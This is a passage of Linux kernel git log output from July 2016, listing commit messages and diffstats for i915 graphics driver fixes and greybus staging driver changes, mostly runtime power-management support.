21:48:06 2016 +0200 drm/i915: Clean up kerneldoc for intel_lrc.c Fairly minimal, there's still lots of functions without any docs, and which aren't static. But probably we want to first clean this up some more. - Drop the bogus const. Marking argument pointers themselves (instead of what they point at) as const provides roughly 0 value. And it's confusing, since the data the pointer points at _is_ being changed. - Remove kerneldoc for static functions. Keep comments where they seem valuable. - Indent and whitespace fixes. - Blockquote the bit field definitions of the descriptor for correct layouting. Acked-by: Chris Wilson Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1468612088-9721-9-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/i915/intel_lrc.c | 99 ++++++++++++---------------------------- 1 file changed, 30 insertions(+), 69 deletions(-) commit 3d466cd67e85fe11493001cf62b988afff018d33 Author: Daniel Vetter Date: Fri Jul 15 21:48:05 2016 +0200 drm/i915: Fixup kerneldoc code snippets in intel_uncore.c We need :: before, blank lines around and indentation with 4 _additional_ spaces to make it work. Also, don't use @param in code snippets, it results in confusion. Acked-by: Chris Wilson Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1468612088-9721-8-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/i915/intel_uncore.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit d1054ee492a89b134fb0ac527b0714c277ae9c0f Author: Chris Wilson Date: Sat Jul 16 18:42:36 2016 +0100 drm/i915: Handle ENOSPC after failing to insert a mappable node Even after adding individual page support for GTT mmaping, we can still fail to find any space within the mappable region, and drm_mm_insert_node() will then report ENOSPC. We have to then handle this error by using the shmem access to the pages. Fixes: b50a53715f09 ("drm/i915: Support for pread/pwrite ... objects") Testcase: igt/gem_concurrent_blit Signed-off-by: Chris Wilson Cc: Ankitprasad Sharma Cc: Tvrtko Ursulin drivers/gpu/drm/i915/i915_gem.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4bfa339aa40c2faa7aa7b7e488e6cd55c54b9055 Author: Dave Gordon Date: Thu Jul 14 14:52:04 2016 +0100 drm/i915: refactor eb_get_batch() Precursor for fix to secure batch execution. We will need to be able to retrieve the batch VMA (as well as the batch itself) from the eb list, so this patch extracts that part of eb_get_batch() into a separate function, and moves both parts to a more logical place in the file, near where the eb list is created. Also, it may not be obvious, but the current execbuffer2 ioctl interface requires that the buffer object containing the batch-to-be-executed be the LAST entry in the exec2_list[] array (I expected it to be the first!). To clarify this, we can replace the rather obscure construct "list_entry(eb->vmas.prev, ...)" in the old version of eb_get_batch() with the equivalent but more explicit "list_last_entry(&eb->vmas,...)" in the new eb_get_batch_vma() and of course add an explanatory comment. Signed-off-by: Dave Gordon Reviewed-by: Daniel Vetter Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1468504324-12690-2-git-send-email-david.s.gordon@intel.com drivers/gpu/drm/i915/i915_gem_execbuffer.c | 49 ++++++++++++++++++------------ 1 file changed, 29 insertions(+), 20 deletions(-) commit 9e2793f6e4e2ca452457e459f013cc8e6b08a789 Author: Dave Gordon Date: Thu Jul 14 14:52:03 2016 +0100 drm/i915: compile-time consistency check on __EXEC_OBJECT flags Two different sets of flag bits are stored in the 'flags' member of a 'struct drm_i915_gem_exec_object2', and they're defined in two different source files, increasing the risk of an accidental clash. Some flags in this field are supplied by the user; these are defined in i915_drm.h, and they start from the LSB and work up. Other flags are defined in i915_gem_execbuffer, for internal use within that file only; they start from the MSB and work down. So here we add a compile-time check that the two sets of flags do not overlap, which would cause all sorts of confusion. Signed-off-by: Dave Gordon Reviewed-by: Daniel Vetter Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1468504324-12690-1-git-send-email-david.s.gordon@intel.com drivers/gpu/drm/i915/i915_gem_execbuffer.c | 12 ++++++++---- include/uapi/drm/i915_drm.h | 11 ++++++----- 2 files changed, 14 insertions(+), 9 deletions(-) commit 1455db9e1ba3f602084854fa9c222e9b68e8576c Author: Bryan O'Donoghue Date: Mon Jul 18 14:59:37 2016 +0100 greybus: greybus_protocols.h: convert __u32 to __le32 All 32 bit declarations associated with data interchange to the greybus network need to be declared explicitly as little-endian since that is the byte order we use on the greybus network. struct gb_audio_topology is declaring its variables as u32. Fortunately this structure isn't currently used so we can do a conversion from u32 to __le32 without any ancillary code-churn. Signed-off-by: Bryan O'Donoghue Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 6a1d29595ed7af5aebbcdb8f4cc045ae7893dc6c Author: Bryan O'Donoghue Date: Mon Jul 18 14:59:36 2016 +0100 greybus: greybus_protocols.h/es2: Ensure __le32 is used not u32 There is a dangling u32 in es2/greybus_protocols.h that is only obvious when you try to compile up gbsim. We need to do a cpu_to_le32 and declare the 32-bit int in the header as __le32. This patch does that and splits out the assignment of the req->flags parameter to a temporary variable to allow for later printing. Signed-off-by: Bryan O'Donoghue Suggested-by: Johan Hovold Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 10 +++++++--- drivers/staging/greybus/greybus_protocols.h | 2 +- 2 files changed, 8 insertions(+), 4 deletions(-) commit a87848750ebc2c174879f5acaa1183044287fd03 Author: Bob Paauwe Date: Fri Jul 15 14:59:02 2016 +0100 drm/i915: Set legacy properties when using legacy gamma set IOCTL. (v2) The i915 driver is now using atomic properties and atomic commit to handle the legacy set gamma IOCTL. However, if the driver is configured without atomic (nuclear_pageflip = false), it won't update the legacy properties for degamma_lut, gamma_lut and ctm leaving them out of sync with the atomic version of the properties. Until the driver is full atomic, make sure we update the non-atomic version of the properties. v2: Update the comment with a FIXME. (Daniel) v3: Update arguments of the gamma_set vfunc (Lionel) v4: Fixed vfunc prototype (Lionel) igt-testcase: kms_pipe_color / legacy-gamma-reset-pipeX Cc: Daniel Vetter Cc: Maarten Lankhorst Cc: stable@vger.kernel.org #v4.7 Signed-off-by: Bob Paauwe Signed-off-by: Lionel Landwerlin Reviewed-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1468591142-2253-1-git-send-email-lionel.g.landwerlin@intel.com drivers/gpu/drm/i915/intel_display.c | 44 +++++++++++++++++++++++++++++++++++- 1 file changed, 43 insertions(+), 1 deletion(-) commit 1b7f2c8b0773d5ccbef43ef38a13ad33136c9679 Author: Ville Syrjälä Date: Mon Jul 18 13:15:14 2016 +0300 drm/i915: Treat eDP as always connected, again eDP should be treated as connected even if doesn't have an EDID. In that case we'll use the timings from the VBT. That used to be the case until commit f21a21983ef1 ("drm/i915: Splitting intel_dp_detect") broke things by considering even eDP disconnected if we fail to get an EDID for it. Fix things up again by treating eDP as always connected. Cc: Shubhangi Shrivastava Cc: Nathan D Ciobanu Cc: Sivakumar Thulasimani Cc: Ander Conselvan de Oliveira Cc: Larry Finger Reported-by: Larry Finger Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=96675 Cc: drm-intel-fixes@lists.freedesktop.org Fixes: f21a21983ef1 ("drm/i915: Splitting intel_dp_detect") Signed-off-by: Ville Syrjälä Tested-by: Larry Finger Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1468836914-16537-1-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_dp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 433aa123f51b85b5ad8fb2f088a6365d54e2763b Author: Jacopo Mondi Date: Fri Jul 15 11:03:46 2016 +0200 greybus: camera: Update CSI config parameters Remove lines_per_second parameter from csi configuration structure as VFE driver dropped dependency on it Signed-off-by: Jacopo Mondi Reviewed-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gb-camera.h | 3 --- 1 file changed, 3 deletions(-) commit f88b94ec2a3b37e8f9fd20f8fb17d9e0a104fe1f Author: Jacopo Mondi Date: Fri Jul 15 11:03:45 2016 +0200 greybus: camera: Configure APB-A with new params Update the configuration supplied to APB-A to use new parameters, while keeping compatibility with legacy camera modules. Substitute hard-coded clock frequency with information provided by camera module, and retrieve the maximum CSI Long Packet length from the returned stream configuration. This patch requires APB-A csi-tx driver to be updated to comply with newly defined bandwidth requirements. Testing Done: preview, capture and video recording with updated csi-tx driver on APB-A side, and legacy white camera module firmware Signed-off-by: Jacopo Mondi Reviewed-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 126 ++++++++++++++++++++++++++++----------- 1 file changed, 91 insertions(+), 35 deletions(-) commit d165a618a14c8871f8e14090791298e1b2ef8231 Author: Jacopo Mondi Date: Fri Jul 15 11:03:44 2016 +0200 greybus: camera: Update Configure Streams Response As camera specification gets updated, and Configure Stream Response payload modified, define here the new response structure. In order to not break non up-to-date camera modules, keep the existing structure and add the _deprecated suffix to it. Add the size of both new and old structure in order to discriminate dynamically which version of Camera Specification the camera module implements and translate deprecated version of configure_streams response in the new one. In order not to break camera functionalities, for testing purposes, hard-code values the APB-A CSI Tx driver still requires for proper interface configuration (lines_per_second and num_lanes) Testing Done: Preview, capture and video recording with white camera module and APB-A with legacy firmware implementations Signed-off-by: Jacopo Mondi Reviewed-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 186 ++++++++++++++++++++++++---- drivers/staging/greybus/greybus_protocols.h | 17 ++- 2 files changed, 176 insertions(+), 27 deletions(-) commit 24f9a6e4942d7a8b15a1bac9a96a605a433b9478 Author: Laurent Pinchart Date: Fri Jul 15 11:03:43 2016 +0200 greybus: camera: Hardcode the APB-A CSI-2 TX parameters Camera modules will stop reporting the number of lines per second, hardcode the parameter in the driver until the APB-A CSI-2 TX configuration protocol gets updated as well to use a more appropriate form of bandwidth information. The number of data lanes is also hardcoded as it should not depend on the module's CSI-2 bus configuration. Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit fdf73c00c8872f6f59730955d54b2cdc963e2485 Author: Jacopo Mondi Date: Fri Jul 15 11:03:42 2016 +0200 greybus: camera: Add wrapper for sync operation with flags The greybus operation core synchronous operation call doesn't support operation flags. Create a new synchronous operation wrapper with flags, and modify the capabilities operation implementation to use it. The code could be later moved to the greybus core if other drivers have a similar need. Signed-off-by: Jacopo Mondi Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 60 +++++++++++++++++++++++++++------------- 1 file changed, 41 insertions(+), 19 deletions(-) commit 6cc270483c550f1d3f7098bb7fb0de20537947a2 Author: Jacopo Mondi Date: Fri Jul 15 11:03:41 2016 +0200 greybus: camera: Add bpp to Greybus Format description Add the bytes per pixel value to the structure describing a Greybus Protocol Image Format. The bpp information will be used to compute the length in bytes of a line of pixel data Signed-off-by: Jacopo Mondi Reviewed-by: Gjorgji Rosikopulos Reviewed-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 37 +++++++++++++++++++++++++++---------- 1 file changed, 27 insertions(+), 10 deletions(-) commit a0de502ed39663d47b568de27f46971e41f0abdf Author: Viresh Kumar Date: Sat Jul 16 09:44:28 2016 -0700 greybus: audio_topology: Fix compile warning Fix following compile warning by staticizing gb_generate_enum_strings(). greybus/audio_topology.c:134:12: warning: symbol 'gb_generate_enum_strings' was not declared. Should it be static? Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_topology.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7a0d4eae83e7dbabd02c744ec3aa0ed542ed6181 Author: Rui Miguel Silva Date: Fri Jul 15 12:16:55 2016 +0100 greybus: power_supply: add missing defines present in the specification Some of the Greybus properties values (capacity level and scope) even though they are defined in the specification were missing from the protocol header. They still match the kernel ones, but they should be present in there for protocol sake. Signed-off-by: Rui Miguel Silva Reviewed-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit c10b4ea3b23fdd1d7db531b316ba75fd2578fc2a Author: Rui Miguel Silva Date: Fri Jul 15 12:16:54 2016 +0100 greybus: power_supply: remove references to kernel header In Greybus power supply macro definitions we have a comment that point to a kernel header, remove it since we have a specification for that. As at it, align the status values to the upper values. Signed-off-by: Rui Miguel Silva Reviewed-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit fddd7eafc746e5ad6ea0f980e85a3fdc87091e81 Author: Bryan O'Donoghue Date: Fri Jul 15 18:01:49 2016 +0100 greybus: timesync/pm: Make synchronous call to restore FrameTime When we discussed and agreed a serialized way to-do PM runtime suspend/resume we omitted the necessity to restore the FrameTime on resume. This patch restores the FrameTime synchronously such that when an Interface PM resume callback completes we have either successfully restored the FrameTime including the new Interface or we've produced a result code to indicate what went wrong when trying. Suggested-by: Johan Hovold Signed-off-by: Bryan O'Donoghue Reviewed-by: Johan Hovold Tested-by: David Lin Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 1f77b363bef417e28d8556a11c9a82f3e6cf24f0 Author: David Lin Date: Tue Jul 12 17:41:21 2016 -0700 greybus: hd: arche-platform: implement greybus shutdown Implement platform driver shutdown callback to perform proper greybus shutdown so that the userspace unipro_shutdown service that shuts down the APB/SVC abruptly can be removed. The shutdown callback in arche-platform will first remove SVC so that all the Interface can be Deactivated in a sequence according to the spec before powering off the APB: Before: -> Arche/APB power off -> SoC power off After this patch: -> HD shutdown -> SVC shutdown -> Module shutdown -> Interface shutdown -> Bundle shutdown -> Arche/APB power off -> SoC power off Testing Done: - Observe all Interfaces are deactivated in the log during shutdown - Measure power off current and make sure no regression Signed-off-by: David Lin Reviewed-by: Vaibhav Hiremath Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 6 ++++++ drivers/staging/greybus/arche-platform.c | 10 ++++++++++ drivers/staging/greybus/core.c | 11 +++++++++++ drivers/staging/greybus/hd.c | 6 ++++++ drivers/staging/greybus/hd.h | 1 + 5 files changed, 34 insertions(+) commit 47becc556d4e8dc5bcd370100edebd6ad749b702 Author: Rui Miguel Silva Date: Wed Jul 13 14:11:20 2016 +0100 greybus: power_supply: convert greybus properties to power supply properties We need to translate greybus properties to power supply core properties, for that when parsing the properties that were fetch during configuration we check if there is a match to the running kernel version and store it in a new field (gb_prop) in the gb_power_supply_prop struct. If the corresponding property does not exist in the running kernel (because of version or vendor specific property) we drop that property. A collection of properties that, at this time, may diverge are defined in the kernel_ver.h to avoid breakage at build time and run time if this properties are not supported by the kernel. Signed-off-by: Rui Miguel Silva Reviewed-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 14 ++ drivers/staging/greybus/power_supply.c | 241 +++++++++++++++++++++++++++++++-- 2 files changed, 246 insertions(+), 9 deletions(-) commit 6e720c277ad126de2052b90dd4114953f2d00f79 Author: Rui Miguel Silva Date: Wed Jul 13 14:11:19 2016 +0100 greybus: power_supply: change property values to integer To align with power supply core values type (integer) move the val and previous_val to integer also. Signed-off-by: Rui Miguel Silva Reviewed-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 5ab57c7020697942ea15f45ad14c69cecb164329 Author: Chris Wilson Date: Fri Jul 15 14:56:20 2016 +0100 drm/i915: Flush logical context image out to memory upon suspend Before suspend, and especially before building the hibernation image, we need to context image to be coherent in memory. To do this we require that we perform a context switch to a disposable context (i.e. the dev_priv->kernel_context) - when that switch is complete, all other context images will be complete. This leaves the kernel_context image as incomplete, but fortunately that is disposable and we can do a quick fixup of the logical state after resuming. v2: Share the nearly identical code to switch to the kernel context with eviction. v3: Explain why we need the switch and reset. Testcase: igt/gem_exec_suspend # bsw References: https://bugs.freedesktop.org/show_bug.cgi?id=96526 Signed-off-by: Chris Wilson Cc: Ville Syrjälä Reviewed-by: Ville Syrjälä Tested-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1468590980-6186-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.c | 4 +--- drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_gem.c | 35 +++++++++++++++++++++++++++++++++++ 3 files changed, 37 insertions(+), 3 deletions(-) commit 945657b461ed27621ec6d3ca2f1b9880b34843bd Author: Chris Wilson Date: Fri Jul 15 14:56:19 2016 +0100 drm/i915/evict: Always switch away from the current context Currently execlists is exempt from emitting a request to switch each ring away from the current context over to the dev_priv->kernel_context (for whatever reason, just under execlists the GGTT is unlikely to be as fragmented, however the switch may help in some extreme cases). Extract the switcher and enable it for execlsts as well, as we need to do so in a later patch to force the context switch before suspend. (And since for that switch we explicitly require the disposable kernel context, rename the extracted function.) Signed-off-by: Chris Wilson Cc: Mika Kuoppala Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1468590980-6186-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_gem_context.c | 29 +++++++++++++++++++++++++++ drivers/gpu/drm/i915/i915_gem_evict.c | 35 ++------------------------------- 3 files changed, 32 insertions(+), 33 deletions(-) commit fc0c38b3d1d6648bfef8ed2478cd2505f6a97475 Author: Alex Elder Date: Thu Jul 14 14:24:19 2016 -0500 greybus: use memdup_user() Coccinelle reports that there are two opportunities to use memdup_user() in "authentication.c". This patch simplifies the code in cap_ioctl() by taking advantage of that. Make use of a local variable "size" to improve readability. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/authentication.c | 40 +++++++++++--------------------- 1 file changed, 13 insertions(+), 27 deletions(-) commit 99ade1766dbd11652905ec91219a643992cb3c18 Author: Alex Elder Date: Thu Jul 14 14:24:18 2016 -0500 greybus: get rid of a compile warning The compiler has no way of knowing whether a called function will actually assign something to the object whose address is passed as an argument. So it must assume it won't happen, and this leads to a compile warning. Fix this. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e854ff58ed7011f73c7cdfcb7966ffa9c103571e Author: Axel Haslam Date: Thu Jul 14 15:13:00 2016 -0500 greybus: loopback: add runtime pm support Add runtime pm to the loopback driver so that the module wakes up from suspend while a test is executed. Testing Done: Let the module enter standby and execute a loopback test. Signed-off-by: Axel Haslam Signed-off-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/loopback.c | 26 +++++++++++++++++++++++++- 1 file changed, 25 insertions(+), 1 deletion(-) commit 4c615dcc6a9d910f8f68e4b57889b628e80165d4 Author: Axel Haslam Date: Thu Jul 14 15:13:00 2016 -0500 greybus: spi: Add runtime_pm support Add runtime operations to the spi driver so that the module is woken up when an spi transfer is started and put back to sleep when the transfer is done. Testing Done: Let the module enter standby and initiate an spi operation. The operation wakes up the module and succeeds. Signed-off-by: Axel Haslam Signed-off-by: David Lin Reviewed-by: Rui Miguel Silva Signed-off-by: Alex Elder drivers/staging/greybus/kernel_ver.h | 5 +++++ drivers/staging/greybus/spi.c | 6 ++++++ drivers/staging/greybus/spilib.c | 29 +++++++++++++++++++++++++++++ 3 files changed, 40 insertions(+) commit afa807b8ba23952b471abb70716076bb3c98657c Author: Axel Haslam Date: Thu Jul 14 15:13:00 2016 -0500 greybus: pwm: Add runtime_pm support Add runtime pm support for the pmw driver. Testing Done: Set the parameters of pwm0, and enable. Disable pwm0 and let the module enter standby. Enable pwm0, and observe that with an oscilloscope that the wave form is the same as before. Signed-off-by: Axel Haslam Signed-off-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/pwm.c | 98 +++++++++++++++++++++++++++++++++++++------ 1 file changed, 86 insertions(+), 12 deletions(-) commit 993dc992f2e415adf9ddc69476ebaefda6af1043 Author: Axel Haslam Date: Thu Jul 14 15:13:00 2016 -0500 greybus: gpio: Add runtime_pm suppourt Add runtime pm support for the gpio driver. Since there is no remote wakeup support, the module will not suspend as long as a gpio is requested. Maybe an optimization could be made, to allow suspend if all the requested gpios are in output mode, since the bridge should maintain the state of the gpio during suspend. Testing Done: using the test board, let the gpbrige enter standby and request a gpio. Signed-off-by: Axel Haslam Signed-off-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/gpio.c | 30 +++++++++++++++++++++++++----- 1 file changed, 25 insertions(+), 5 deletions(-) commit 22b8708725c20ce57d79e51a7e98628b382420a4 Author: Axel Haslam Date: Thu Jul 14 15:13:00 2016 -0500 greybus: uart: Add runtime pm support This adds runtime pm support for the uart driver. Testing Done: Using the test daughter board, let the gpb bridge enter standby and do a uart transfer operation. Signed-off-by: Axel Haslam Signed-off-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/uart.c | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit c0e72f6af7363de8868e2847450a828f27e96c81 Author: David Lin Date: Thu Jul 14 15:13:00 2016 -0500 greybus: i2c: add runtime pm support Add runtime pm support to camera i2c bridged phy device class driver Testing Done: - Passed #gb_test.sh -v -t i2c Signed-off-by: David Lin Signed-off-by: Axel Haslam Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/i2c.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit af5dc7f8c0f4b71fa53db2e8d6f18c26048a182f Author: David Lin Date: Thu Jul 14 15:13:00 2016 -0500 greybus: gbphy: add gbphy runtime pm support Since GBphy is a child of the Bundle device driver, for those runtime pm settings that are common to all the protocol drivers need to go in to the GBphy bus driver. Testing Done: - Check gbphy driver can be autosuspended Signed-off-by: David Lin Signed-off-by: Axel Haslam Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/gbphy.c | 59 ++++++++++++++++++++++++++++++++++++++++- drivers/staging/greybus/gbphy.h | 40 ++++++++++++++++++++++++++++ 2 files changed, 98 insertions(+), 1 deletion(-) commit 211634f2ca165947e37ba8b259c046a2e07b5f3c Author: David Lin Date: Thu Jul 14 15:13:00 2016 -0500 greybus: camera: add runtime pm support Add runtime pm support to camera protocol device class driver. Testing Done: - Make sure white camera module is able to runtime suspend and resume when the camera is being used Signed-off-by: David Lin Signed-off-by: Axel Haslam Reviewed-by: Laurent Pinchart Signed-off-by: Alex Elder drivers/staging/greybus/camera.c | 81 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 81 insertions(+) commit 6ba7fad430d6300b966800bc5d2c782e2baf6f1d Author: David Lin Date: Thu Jul 14 15:13:00 2016 -0500 greybus: audio: add runtime pm support Add runtime pm support to audio protocol device class driver. Testing Done: - Use white speaker module and check the interface is autosuspended when it's idle and resumed when playback audio Signed-off-by: David Lin Signed-off-by: Axel Haslam Reviewed-by: Vaibhav Agarwal Signed-off-by: Alex Elder drivers/staging/greybus/audio_apbridgea.c | 14 +++++++-- drivers/staging/greybus/audio_module.c | 51 +++++++++++++++++++++++++++++++ drivers/staging/greybus/audio_topology.c | 47 ++++++++++++++++++++++++++++ 3 files changed, 110 insertions(+), 2 deletions(-) commit 61e13db9cc8945d53f72d4021594ee3be214e667 Author: David Lin Date: Thu Jul 14 15:13:00 2016 -0500 greybus: bundle: add runtime pm support This patch adds runtime pm support for the bundle core. Unbound bundle devices are always deactivated. During probe, Runtime PM status is set to enabled and active and the usage count is incremented. If the driver supports runtime PM, it should call pm_runtime_put() in its probe routine and pm_runtime_get_sync() in remove routine as bundle needs to be resume before it can be deactivated. Testing Done: - Check runtime_status of the bundle driver when bundle goes to suspend Signed-off-by: David Lin Signed-off-by: Axel Haslam Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/bundle.c | 80 ++++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/bundle.h | 47 +++++++++++++++++++++++ drivers/staging/greybus/core.c | 40 ++++++++++++++++++++ 3 files changed, 167 insertions(+) commit 30a3bf7b30d86b94ad4fbdcf9cdce1dcf5037c58 Author: David Lin Date: Thu Jul 14 15:13:00 2016 -0500 greybus: interface: add runtime pm support Configure and enable runtime pm support for the Interface. Refer to the 12.2. The Interface Lifecycle of the Greybus specification for details on the requirements for transitioning from ENUMERATED to SUSPEND and vice versa. All the Bundles for the Interface have to be either OFF or SUSPENDED before the Interface can be autosuspended. Testing Done: - Check the runtime_status of an interface driver and validate the suspend current of a module. Signed-off-by: David Lin Signed-off-by: Axel Haslam Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/interface.c | 109 +++++++++++++++++++++++++++++++++++ drivers/staging/greybus/kernel_ver.h | 13 +++++ 3 files changed, 123 insertions(+) commit 2d48b5b4a8ca12aeff6551796357add7c05ce8cf Author: David Lin Date: Thu Jul 14 15:13:00 2016 -0500 greybus: bundle: add activate and deactivate AP shall send the Bundle Activate Operation to power on a bundle, and send the Bundle Deactivate Request after closing all the associated connections for power down. Testing Done: - Check for the return code of the bundle activate and deactivate operation sent Signed-off-by: David Lin Signed-off-by: Axel Haslam Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/core.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 6bc265424df02f8162f4a17a37e4982e1c64460e Author: Chris Wilson Date: Wed Jul 13 18:34:45 2016 +0100 drm/i915/fbdev: Check for the framebuffer before use If the fbdev probing fails, and in our error path we fail to clear the dev_priv->fbdev, then we can try and use a dangling fbdev pointer, and in particular a NULL fb. This could also happen in pathological cases where we try to operate on the fbdev prior to it being probed. Reported-by: Maarten Lankhorst Signed-off-by: Chris Wilson Cc: Maarten Lankhorst Cc: Daniel Vetter Cc: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1468431285-28264-2-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Daniel Vetter Reviewed-by: Mika Kuoppala drivers/gpu/drm/i915/intel_fbdev.c | 25 +++++++++++-------------- 1 file changed, 11 insertions(+), 14 deletions(-) commit 0b8c0e9c3354953a5d6f90ece82961017053dc74 Author: Chris Wilson Date: Wed Jul 13 18:34:44 2016 +0100 drm/i915/fbdev: Drain the suspend worker on retiring Since the suspend_work can arm itself if the console_lock() is currently held elsewhere, simply calling flush_work() doesn't guarantee that the work is idle upon return. To do so requires using cancel_work_sync(). Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1468431285-28264-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Mika Kuoppala drivers/gpu/drm/i915/intel_fbdev.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e7852a4b3a4fb6f6c18fdaff934580aa8521599a Author: Lionel Landwerlin Date: Wed May 25 14:30:41 2016 +0100 drm/i915: add missing condition for committing planes on crtc The i915 driver checks for color management properties changes as part of a plane update. Therefore a color management update must imply a plane update, otherwise we never update the transformation matrixes and degamma/gamma LUTs. v2: add comment about moving the commit of color management registers to an async worker v3: Commit color management register right after vblank v4: Move back color management commit condition together with planes commit v5: Trigger color management commit through the planes commit (Daniel) v6: Make plane change update more readable Fixes: 20a34e78f0d7 (drm/i915: Update color management during vblank evasion.) Cc: Maarten Lankhorst Cc: Ville Syrjälä Cc: Daniel Vetter Cc: drm-intel-fixes@lists.freedesktop.org Signed-off-by: Lionel Landwerlin References: https://lkml.org/lkml/2016/7/14/614 Reviewed-and-tested-by: Mario Kleiner Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1464183041-8478-1-git-send-email-lionel.g.landwerlin@intel.com drivers/gpu/drm/i915/intel_display.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 19625e85c6ec56038368aa72c44f5f55b221f0fc Author: Lyude Date: Tue Jun 21 17:03:44 2016 -0400 drm/i915: Enable polling when we don't have hpd Unfortunately, there's two situations where we lose hpd right now: - Runtime suspend - When we've shut off all of the power wells on Valleyview/Cherryview While it would be nice if this didn't cause issues, this has the ability to get us in some awkward states where a user won't be able to get their display to turn on. For instance; if we boot a Valleyview system without any monitors connected, it won't need any of it's power wells and thus shut them off. Since this causes us to lose HPD, this means that unless the user knows how to ssh into their machine and do a manual reprobe for monitors, none of the monitors they connect after booting will actually work. Eventually we should come up with a better fix then having to enable polling for this, since this makes rpm a lot less useful, but for now the infrastructure in i915 just isn't there yet to get hpd in these situations. Changes since v1: - Add comment explaining the addition of the if (!mode_config->poll_running) in intel_hpd_init() - Remove unneeded if (!dev->mode_config.poll_enabled) in i915_hpd_poll_init_work() - Call to drm_helper_hpd_irq_event() after we disable polling - Add cancel_work_sync() call to intel_hpd_cancel_work() Changes since v2: - Apparently dev->mode_config.poll_running doesn't actually reflect whether or not a poll is currently in progress, and is actually used for dynamic module paramter enabling/disabling. So now we instead keep track of our own poll_running variable in dev_priv->hotplug - Clean i915_hpd_poll_init_work() a little bit Changes since v3: - Remove the now-redundant connector loop in intel_hpd_init(), just rely on intel_hpd_poll_enable() for setting connector->polled correctly on each connector - Get rid of poll_running - Don't assign enabled in i915_hpd_poll_init_work before we actually lock dev->mode_config.mutex - Wrap enabled assignment in i915_hpd_poll_init_work() in READ_ONCE() for doc purposes - Do the same for 